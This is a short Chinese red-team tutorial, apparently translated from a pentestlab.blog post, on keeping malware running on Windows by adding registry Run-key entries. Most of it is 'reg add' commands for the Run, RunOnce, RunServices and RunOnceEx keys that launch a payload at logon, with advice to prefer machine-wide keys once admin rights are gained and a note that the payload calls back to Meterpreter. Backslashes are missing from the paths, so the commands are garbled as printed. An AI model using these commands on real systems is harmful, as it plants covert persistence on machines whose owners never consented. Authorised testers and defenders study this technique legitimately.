简介:在Windows登录期间创建将执行任意负载的注册表项是红队游戏手册中最古老的技巧之一。
实现原理:注册表项可以从终端添加到运行键以实现持久性。这些键将包含对用户登录时将执行的实际负载的引用,已知使用此持久性方法的威胁因素和红队使用以下注册表位置。
在注册表中以下四个注册表项中都可以进行自启的操作。
1、reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
2、reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
3、reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
4、reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
以上的,我们是在注册表–当前用户的运行键中进行的,如果已获得提升的凭据,则最好使用本地计算机注册表位置,而不是当前用户,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关。
本地注册机注册表操作如下:
1、reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:programdatapentestlab.exe"
2、reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C:programdatapentestlab.exe"
3、reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C:programdatapentestlab.exe"
4、reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C:programdatapentestlab.exe"
在下一次登录期间,有效负载将执行并与回传给Meterpeter。
另外两个注册表位置,这些位置可以允许红队通过执行任意有效负载或DLL来实现持久性。这些将在登录期间执行,并且需要管理员级别的特权。
1、reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx 001" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"
2、reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx 001Depend" /v Pentestlab /t REG_SZ /d "C: mppentestlab.dll"
还有其他集成框架,如empire、metasploit等等工具的利用操作都可以继续参考如下的文章,其中都有写到。
参考文章https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/